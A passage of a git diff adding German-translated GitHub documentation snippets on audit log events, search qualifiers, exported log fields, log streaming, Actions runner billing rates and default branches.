+| `workflows.rerun_workflow_run` | Eine Workflowausführung wurde erneut ausgeführt. Weitere Informationen findest du unter „[Erneutes Ausführen eines Workflows](/actions/managing-workflow-runs/re-running-a-workflow)“.
+| `workflows.completed_workflow_run` | Ein Workflowstatus wurde geändert in `completed`. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „[Anzeigen des Workflowausführungsverlaufs](/actions/managing-workflow-runs/viewing-workflow-run-history)“.
+| `workflows.created_workflow_run` | Eine Workflowausführung wurde erstellt. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „[Erstellen eines Beispielworkflows](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)“.
+| `workflows.prepared_workflow_job` | Ein Workflowauftrag wurde gestartet. Enthält die Liste der Geheimnisse, die dem Auftrag zur Verfügung gestellt wurden. Die Anzeige ist nur mithilfe der REST-API möglich. Sie wird nicht auf der Weboberfläche von {% data variables.product.prodname_dotcom %} angezeigt und ist nicht im JSON/CSV-Export enthalten. Weitere Informationen findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows).
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-git-events-retention.md b/translations/de-DE/data/reusables/audit_log/audit-log-git-events-retention.md
new file mode 100644
index 0000000000..33f040bbb1
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-git-events-retention.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5bfe73f69c2113796ba743428e40b7643db82da6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103475"
+---
+Das Überwachungsprotokoll behält Git-Ereignisse sieben Tage lang bei. Dies ist kürzer als andere Überwachungsprotokollereignisse, die bis zu sieben Monate lang aufbewahrt werden können.
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-search-by-operation.md b/translations/de-DE/data/reusables/audit_log/audit-log-search-by-operation.md
new file mode 100644
index 0000000000..8af23cbe94
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-search-by-operation.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 3492de2cd163b4bbb59b912c17d152b7d2af5c68
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103471"
+---
+### Vorgangsbasierte Suche
+
+Verwende den Qualifizierer `operation`, um Aktionen für spezifische Typen von Vorgängen zu beschränken. Beispiel:
+
+  * `operation:access` findet alle Ereignisse, bei denen auf eine Ressource zugegriffen wurde.
+  * `operation:authentication` findet alle Ereignisse, bei denen ein Authentifizierungsereignis ausgeführt wurde.
+  * `operation:create` findet alle Ereignisse, bei denen eine Ressource erstellt wurde.
+  * `operation:modify` findet alle Ereignisse, bei denen eine vorhandene Ressource geändert wurde.
+  * `operation:remove` findet alle Ereignisse, bei denen eine vorhandene Ressource entfernt wurde.
+  * `operation:restore` findet alle Ereignisse, bei denen eine vorhandene Ressource wiederhergestellt wurde.
+  * `operation:transfer` findet alle Ereignisse, bei denen eine vorhandene Ressource übertragen wurde.
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-search-by-repo.md b/translations/de-DE/data/reusables/audit_log/audit-log-search-by-repo.md
new file mode 100644
index 0000000000..c8e17c7fed
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-search-by-repo.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: fa28240a725967485b76be7be90384f3010b084a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103467"
+---
+### Suche basierend auf Repository
+
+Verwende den Qualifizierer `repo`, um Aktionen auf ein spezifisches Repository zu beschränken. Beispiel:
+
+  * `repo:my-org/our-repo` sucht alle Ereignisse, die für das `our-repo`-Repository in der `my-org`-Organisation aufgetreten sind.
+  * `repo:my-org/our-repo repo:my-org/another-repo` sucht alle Ereignisse, die für die `our-repo`- und `another-repo`-Repositorys in der `my-org`-Organisation aufgetreten sind.
+  * `-repo:my-org/not-this-repo` schließt alle Ereignisse aus, die für das `not-this-repo`-Repository in der `my-org`-Organisation aufgetreten sind.
+
+Du musst den Namen Deiner Organisation in den `repo`-Qualifizierer einschließen. Es ist nicht möglich, nur nach `repo:our-repo` zu suchen.
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-search-by-user.md b/translations/de-DE/data/reusables/audit_log/audit-log-search-by-user.md
new file mode 100644
index 0000000000..e7f9704dac
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-search-by-user.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 7193be487b701029df5604b7253f683b5675c086
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103464"
+---
+### Suche nach Benutzer
+
+Der `actor`-Qualifizierer kann den Umfang von Ereignissen basierend auf dem Ausführenden der Aktion festlegen. Beispiel:
+
+  * `actor:octocat` findet alle Ereignisse, die von `octocat` durchgeführt wurden.
+  * `actor:octocat actor:hubot` findet alle Ereignisse, die von `octocat` und `hubot` durchgeführt wurden.
+  * `-actor:hubot` schließt alle Ereignisse aus, die von `hubot` durchgeführt wurden.
+
+Beachte, dass du nur den in {% data variables.product.product_name %} verwendeten Benutzernamen nutzen kannst, nicht den wirklichen Namen eines Benutzers.
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-search-list-info-about-action.md b/translations/de-DE/data/reusables/audit_log/audit-log-search-list-info-about-action.md
new file mode 100644
index 0000000000..4fc4aa8774
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-search-list-info-about-action.md
@@ -0,0 +1,20 @@
+---
+ms.openlocfilehash: e01273fe15058c00b11d380a3c50d4448cfb92b8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146180783"
+---
+Der Name für jeden Überwachungsprotokolleintrag besteht aus dem Objekt- oder Kategoriequalifizierer `action`, gefolgt von einem Vorgangstyp. Der Eintrag `repo.create` verweist beispielsweise auf den Vorgang `create` in der Kategorie `repo`.
+
+Jeder Eintrag im Auditprotokoll zeigt die zutreffenden Informationen zu einem Ereignis an, beispielsweise:
+
+- in {% ifversion ghec or ghes or ghae %}welchem Unternehmen oder {% endif %}welcher Organisation eine Aktion durchgeführt wurde
+- welcher Benutzer (Akteur) die Aktion durchgeführt hat
+- welcher Benutzer von der Aktion betroffen ist
+- an welchem Repository eine Aktion durchgeführt wurde
+- Die Aktion, die ausgeführt wurde
+- in welchem Land die Aktion durchgeführt wurde,
+- Datum und Uhrzeit des Auftretens der Aktion {%- ifversion enterprise-audit-log-ip-addresses %}
+- Optional wird die Quell-IP-Adresse für den Benutzer (Akteur) verwendet, der die Aktion ausgeführt hat.{%- endif %}
diff --git a/translations/de-DE/data/reusables/audit_log/audit-log-search.md b/translations/de-DE/data/reusables/audit_log/audit-log-search.md
new file mode 100644
index 0000000000..bbf0d426c5
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit-log-search.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: c07593d1a115835538cc98ad351414704a14e737
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103452"
+---
+{% data reusables.audit_log.audit-log-search-list-info-about-action %}
+
+Beachte, dass Du nicht mit Text nach Einträgen suchen kannst. Du kannst jedoch Suchabfragen mit den verschiedensten Filtern erstellen. Viele Operatoren, die beim Abfragen des Protokolls verwendet werden, z. B. `-`, `>` oder `<`, entsprechen demselben Format wie beim Durchsuchen von {% data variables.product.product_name %}. Weitere Informationen findest du unter [Suchen auf {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github).
+
+{% data reusables.audit_log.audit-log-search-by-operation %}
+
+{% data reusables.audit_log.audit-log-search-by-repo %}
+
+{% data reusables.audit_log.audit-log-search-by-user %}
diff --git a/translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md b/translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md
new file mode 100644
index 0000000000..c59c70a94f
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Archives" section of the  sidebar, click {% octicon "log" aria-label="The log icon" %} **Logs**, then click **Audit log**.
+{% else  %}
+1. In the Settings sidebar, click **Audit log**.
+![Org audit log settings in sidebar](/assets/images/help/organizations/org-settings-audit-log.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md b/translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md
new file mode 100644
index 0000000000..f2d2336ba7
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+3. In the "Archives" section of the  sidebar, click **{% octicon "log" aria-label="The log icon" %} Security log**.
+{% else  %}
+3. In the left sidebar, click **Audit log**.
+![Audit log tab](/assets/images/enterprise/site-admin-settings/audit-log-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/audit_log/audited-data-list.md b/translations/de-DE/data/reusables/audit_log/audited-data-list.md
new file mode 100644
index 0000000000..c7733990c6
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/audited-data-list.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 266a3b9b6a6c46ffac64a9e71903d360690d9cde
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147881034"
+---
+{% data reusables.audit_log.audit-log-api-info %} {% ifversion fpt or ghec %}* Git-Ereignisse, z. B. Klonen, Fetchen und Pushen{% endif %}
diff --git a/translations/de-DE/data/reusables/audit_log/export-log.md b/translations/de-DE/data/reusables/audit_log/export-log.md
new file mode 100644
index 0000000000..46b8c36c29
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/export-log.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 93bc45eb2c722bbf9260ad1618423ff2aad44135
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785854"
+---
+Du kannst das Protokoll als JSON-Daten oder als CSV-Datei (Comma-Separated Value) exportieren.
+
+![Schaltfläche "Exportieren"](/assets/images/help/organizations/org-audit-log-export.png)
+
+Um die Ergebnisse deines Exports zu filtern, suche nach einem oder mehreren dieser unterstützten Qualifizierer, bevor du das Dropdownmenü **Exportieren** verwendest.
+
+{% data reusables.audit_log.keys-and-example-values %}
diff --git a/translations/de-DE/data/reusables/audit_log/exported-git-log-keys-and-values.md b/translations/de-DE/data/reusables/audit_log/exported-git-log-keys-and-values.md
new file mode 100644
index 0000000000..013959ac2b
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/exported-git-log-keys-and-values.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 3e8a5068444a1ba0f26f06d4ef76f0ab5a0b68e4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103435"
+---
+Nachdem Du das Log als JSON oder CSV exportiert hast, siehst Du die folgenden Schlüssel und Werte in der resultierenden Datei.
+
+| Schlüssel | Beispielwert
+|------------|-------------
+| `@timestamp` | 1429548104000
+| `actor` | octocat
+| `action` | git.clone
+| `org` | octo-org
+| `business` | avocado-corp
+| `repo` | octo-org/documentation
+| `repository_public` | false
+| `user` | codertocat
+| `protocol_name` | http
diff --git a/translations/de-DE/data/reusables/audit_log/exported-log-keys-and-values.md b/translations/de-DE/data/reusables/audit_log/exported-log-keys-and-values.md
new file mode 100644
index 0000000000..dc187a0b62
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/exported-log-keys-and-values.md
@@ -0,0 +1,26 @@
+---
+ms.openlocfilehash: 52ffa15d88eb667d35b6e92b4e5adfa3146e9e56
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145103431"
+---
+Nachdem du das Protokoll exportiert hast, werden die folgenden Schlüssel und Werte in der resultierenden Datei aufgeführt.
+
+| Schlüssel | Beispielwert
+|------------|-------------
+| `action` | team.create
+| `actor` | octocat
+| `user` | codertocat
+| `actor_location.country_code` | US
+| `org` | octo-org
+| `repo` | octo-org/documentation
+| `created_at` | 1429548104000 (der Zeitstempel gibt die Zeit in Millisekunden seit Beginn der UNIX-Zeit an)
+| `data.email` | octocat@nowhere.com
+| `data.hook_id` | 245
+| `data.events` | ["issues", "issue_comment", "pull_request", "pull_request_review_comment"]
+| `data.events_were` | ["push", "pull_request", "issues"]
+| `data.target_login` | octocat
+| `data.old_user` | hubot
+| `data.team` | octo-org/engineering
diff --git a/translations/de-DE/data/reusables/audit_log/git-events-export-limited.md b/translations/de-DE/data/reusables/audit_log/git-events-export-limited.md
new file mode 100644
index 0000000000..34bf92243a
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/git-events-export-limited.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6b6afade651b8fa55376e56ce04a30e8fba9b9fc
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884995"
+---
+{% ifversion ghec %} {% note %}
+
+**Hinweis:** Wenn du Git-Ereignisse exportierst, sind Ereignisse, die über den Webbrowser initiiert wurden, oder die REST- oder GraphQL-APIs nicht enthalten. Wenn ein Benutzer beispielsweise einen Pull Request im Webbrowser mergt, werden Änderungen in den Basisbranch gepusht, aber das Git-Ereignis für diesen Push ist nicht im Export enthalten. 
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/audit_log/git-events-not-in-search-results.md b/translations/de-DE/data/reusables/audit_log/git-events-not-in-search-results.md
new file mode 100644
index 0000000000..e556c871d0
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/git-events-not-in-search-results.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6b7d1cd8cae2ecd6688a1a5d41d7bda03d8e8d97
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109649"
+---
+{% ifversion git-events-audit-log %} {% note %}
+
+**Hinweis:** Git-Ereignisse sind nicht in Suchergebnissen enthalten.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/audit_log/keys-and-example-values.md b/translations/de-DE/data/reusables/audit_log/keys-and-example-values.md
new file mode 100644
index 0000000000..b849904092
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/keys-and-example-values.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 0885870fd5d445ddf3808a5f0bd40867c88e132f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103428"
+---
+| Qualifizierer | Beispielwert
+|------------|-------------
+| `action` | team.create
+| `actor` | octocat
+| `user` | codertocat
+| `org` | octo-org
+| `repo` | octo-org/documentation
+| `created` | 2019-06-01
diff --git a/translations/de-DE/data/reusables/audit_log/octicon_icon.md b/translations/de-DE/data/reusables/audit_log/octicon_icon.md
new file mode 100644
index 0000000000..aa2a40ba51
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/octicon_icon.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a5af5a79e2a5c19d12f567e8041e6fa195b7afee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103427"
+---
+1. Klicke in der rechten oberen Ecke einer beliebigen Seite auf <span aria-label="the Octocat icon" class="octicon octicon-mark-github"></span>.
+![Octocat-Symbol](/assets/images/enterprise/navigation/octocat-icon.png)
diff --git a/translations/de-DE/data/reusables/audit_log/only-three-months-displayed.md b/translations/de-DE/data/reusables/audit_log/only-three-months-displayed.md
new file mode 100644
index 0000000000..43e5ed4928
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/only-three-months-displayed.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 60fd0dcf78f0161ec98e0b819b1992c1030f177f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147881042"
+---
+Standardmäßig werden nur Ereignisse aus den letzten drei Monaten angezeigt. Um ältere Ereignisse anzuzeigen, musst du einen Datumsbereich mit dem `created`-Parameter angeben. Weitere Informationen findest du unter [Grundlagen der Suchsyntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#query-for-dates).
diff --git a/translations/de-DE/data/reusables/audit_log/retention-periods.md b/translations/de-DE/data/reusables/audit_log/retention-periods.md
new file mode 100644
index 0000000000..5d47a7424c
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/retention-periods.md
@@ -0,0 +1,3 @@
+The audit log lists events triggered by activities that affect your enterprise{% ifversion not ghec %}. Audit logs for {% data variables.product.product_name %} are retained indefinitely{% ifversion audit-data-retention-tab %}, unless an enterprise owner configured a different retention period. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% else %}.{% endif %}{% else %} within the current month and up to the previous six months. The audit log retains Git events for seven days.{% endif %}
+
+{% data reusables.audit_log.only-three-months-displayed %}
diff --git a/translations/de-DE/data/reusables/audit_log/streaming-check-s3-endpoint.md b/translations/de-DE/data/reusables/audit_log/streaming-check-s3-endpoint.md
new file mode 100644
index 0000000000..c20b9294ac
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/streaming-check-s3-endpoint.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6e4387a1736c320dbef802ea07c22dfc1fa091a6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109273"
+---
+1. Zum Überprüfen, ob {% data variables.product.prodname_dotcom %} eine Verbindung mit dem Amazon S3-Endpunkt herstellen und in ihm schreiben kann, klicke auf **Endpunkt überprüfen**.
+   
+   ![Überprüfen des Endpunkts](/assets/images/help/enterprises/audit-stream-check.png)
diff --git a/translations/de-DE/data/reusables/audit_log/streaming-choose-s3.md b/translations/de-DE/data/reusables/audit_log/streaming-choose-s3.md
new file mode 100644
index 0000000000..369d73b7b4
--- /dev/null
+++ b/translations/de-DE/data/reusables/audit_log/streaming-choose-s3.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: c8ea836ffb23f1d69d2a42c5204143442480eafa
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109246"
+---
+1. Wähle das Dropdown **Datenstrom konfigurieren** aus, und klicke auf **Amazon S3**.
+   
+   ![Auswählen von „Amazon S3“ im Dropdownmenü](/assets/images/help/enterprises/audit-stream-choice-s3.png)
diff --git a/translations/de-DE/data/reusables/billing/about-invoices-for-enterprises.md b/translations/de-DE/data/reusables/billing/about-invoices-for-enterprises.md
new file mode 100644
index 0000000000..83e4194a3d
--- /dev/null
+++ b/translations/de-DE/data/reusables/billing/about-invoices-for-enterprises.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8c2775664936aced829bd5b09eeff0ae46204e10
+ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876890"
+---
+Bei {% data variables.product.prodname_enterprise %}-Kunden, die Rechnungen erhalten, rechnet {% data variables.product.company_short %} über ein Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} ab. Jede Rechnung enthält eine einzelne Rechnungsgebühr für alle Ihre kostenpflichtigen {% data variables.product.prodname_dotcom_the_website %}-Dienste und {% data variables.product.prodname_ghe_server %}-Instanzen.
diff --git a/translations/de-DE/data/reusables/billing/billing-hosted-runners.md b/translations/de-DE/data/reusables/billing/billing-hosted-runners.md
new file mode 100644
index 0000000000..99a4a009d6
--- /dev/null
+++ b/translations/de-DE/data/reusables/billing/billing-hosted-runners.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 44593ccc9877d4cb1a224122f7c1dd9695db27f6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109241"
+---
+|  Linux   |   4  |   $0.016   | |  Linux   |   8  |   $0.032   | |  Linux   |  16  |   $0.064   | |  Linux   |  32   |   $0.128   | |  Linux   |   64  |   $0.256   | |  Windows   |   8  |   $0.064   | |  Windows   |  16  |   $0.128   | |  Windows   |  32 |   $0.256   | |  Windows   |  64  |   $0.512   |
diff --git a/translations/de-DE/data/reusables/billing/billing-standard-runners.md b/translations/de-DE/data/reusables/billing/billing-standard-runners.md
new file mode 100644
index 0000000000..d66b444a74
--- /dev/null
+++ b/translations/de-DE/data/reusables/billing/billing-standard-runners.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: e45dba1d880e7da8a29bbcc180dd4014527ee1b8
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147764081"
+---
+| Betriebssystem | Kerne | Minutentarif (USD) |
+|------- | --------- | --------- |
+| Linux | 2 | 0,008 US-Dollar |
+| macOS | 3 | 0,08 $ |
+| Windows | 2 | 0\.016 $ |
diff --git a/translations/de-DE/data/reusables/billing/email-notifications.md b/translations/de-DE/data/reusables/billing/email-notifications.md
new file mode 100644
index 0000000000..d55e04b0be
--- /dev/null
+++ b/translations/de-DE/data/reusables/billing/email-notifications.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: b2356ad6e76777400d8995a65e86511186d817e0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103404"
+---
+E-Mail-Benachrichtigungen werden an Kontobesitzer und Abrechnungsmanager gesendet, wenn die Ausgaben 50 %, 75 %, 90 % und 100 % des in Ihrem Konto enthaltenen Verbrauchs erreichen und wenn die Ausgaben 50 %, 75 %, 90 % und 100 % des Ausgabenlimits Ihres Kontos erreichen. 
+
+Du kannst diese Benachrichtigungen jederzeit deaktivieren, indem du zum Ende der Seite **Ausgabenlimit** navigierst.
+
+![Screenshot der Einstellungen für E-Mail-Benachrichtigungen zur Abrechnung](/assets/images/help/billing/actions-packages-spending-limit-notifications.png)
diff --git a/translations/de-DE/data/reusables/billing/ghes-with-no-enterprise-account.md b/translations/de-DE/data/reusables/billing/ghes-with-no-enterprise-account.md
new file mode 100644
index 0000000000..9c8b73affc
--- /dev/null
+++ b/translations/de-DE/data/reusables/billing/ghes-with-no-enterprise-account.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7d1eed02eaacb63ecbb988ab13703b9e6b7ec06d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103403"
+---
+{% data variables.product.prodname_enterprise %}-Kunden ohne Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} können Rechnungen und Zahlungsverlauf auf der [{% data variables.product.prodname_enterprise %}-Website](https://enterprise.github.com/login) anzeigen. {% data reusables.enterprise-accounts.to-upgrade-or-get-started %}
diff --git a/translations/de-DE/data/reusables/billing/license-statuses.md b/translations/de-DE/data/reusables/billing/license-statuses.md
new file mode 100644
index 0000000000..2e7d24a8d6
--- /dev/null
+++ b/translations/de-DE/data/reusables/billing/license-statuses.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 67d1494a61de0411dec87f78177cd695055e82db
+ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/31/2022
+ms.locfileid: "148120643"
+---
+{% ifversion ghec %} Wenn deine Lizenz {% data variables.visual_studio.prodname_vss_ghe %} einschließt, kannst du ermitteln, ob ein Benutzerkonto auf {% data variables.product.prodname_dotcom_the_website %} erfolgreich mit einem {% data variables.product.prodname_vs %}-Abonnenten abgeglichen wurde, indem du die CSV-Datei herunterlädst, die zusätzliche Lizenzdetails enthält. Als Lizenzstatus kann einer der folgenden Werte angegeben sein:
+- „Übereinstimmend“: Das Benutzerkonto auf {% data variables.product.prodname_dotcom_the_website %} ist mit einem {% data variables.product.prodname_vs %}-Abonnenten verknüpft.
+- „Ausstehende Einladung“: Es wurde eine Einladung an einen {% data variables.product.prodname_vs %}-Abonnenten gesendet, aber der Abonnent hat die Einladung nicht angenommen. 
+- Leer: Es gibt keine {% data variables.product.prodname_vs %}-Verknüpfung für das Benutzerkonto auf {% data variables.product.prodname_dotcom_the_website %}.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/billing/overages-billed-monthly.md b/translations/de-DE/data/reusables/billing/overages-billed-monthly.md
new file mode 100644
index 0000000000..b09b3cd161
--- /dev/null
+++ b/translations/de-DE/data/reusables/billing/overages-billed-monthly.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3b42f51dea71886a88dba8060378168af689c1b6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060209"
+---
+Überschreitungen werden unabhängig von Ihrer Abrechnungslaufzeit immer monatlich abgerechnet (auch wenn Ihr Konto ansonsten jährlich abgerechnet wird).
diff --git a/translations/de-DE/data/reusables/branches/change-default-branch.md b/translations/de-DE/data/reusables/branches/change-default-branch.md
new file mode 100644
index 0000000000..ac99840632
--- /dev/null
+++ b/translations/de-DE/data/reusables/branches/change-default-branch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c76f774643601f414644ca481b24fd518b79647e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104531"
+---
+Du kannst den Standardbranch für ein vorhandenes Repository ändern. Weitere Informationen findest du unter [Ändern des Standardbranchs](/github/administering-a-repository/changing-the-default-branch).
diff --git a/translations/de-DE/data/reusables/branches/default-branch-automatically-base-branch.md b/translations/de-DE/data/reusables/branches/default-branch-automatically-base-branch.md
new file mode 100644
index 0000000000..966410783e
--- /dev/null
+++ b/translations/de-DE/data/reusables/branches/default-branch-automatically-base-branch.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 982a490abb31c43cca19c0f20fc501ed0e201c28
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883076"
+---
+Sofern du keinen anderen Branch angibst, ist der Standardbranch in einem Repository der Basisbranch für neue Pull Requests und Codecommits.
+
diff --git a/translations/de-DE/data/reusables/branches/new-repo-default-branch.md b/translations/de-DE/data/reusables/branches/new-repo-default-branch.md
new file mode 100644
index 0000000000..17f774ac0d
--- /dev/null
+++ b/translations/de-DE/data/reusables/branches/new-repo-default-branch.md
@@ -0,0 +1,2 @@
+When you create a repository with content on {% data variables.location.product_location %}, {% data variables.product.product_name %} creates the repository with a single branch. This first branch in the repository is the default branch.
+
diff --git a/translations/de-DE/data/reusables/branches/set-default-branch.md b/translations/de-DE/data/reusables/branches/set-default-branch.md
new file mode 100644
index 0000000000..39043810be
--- /dev/null
+++ b/translations/de-DE/data/reusables/branches/set-default-branch.md
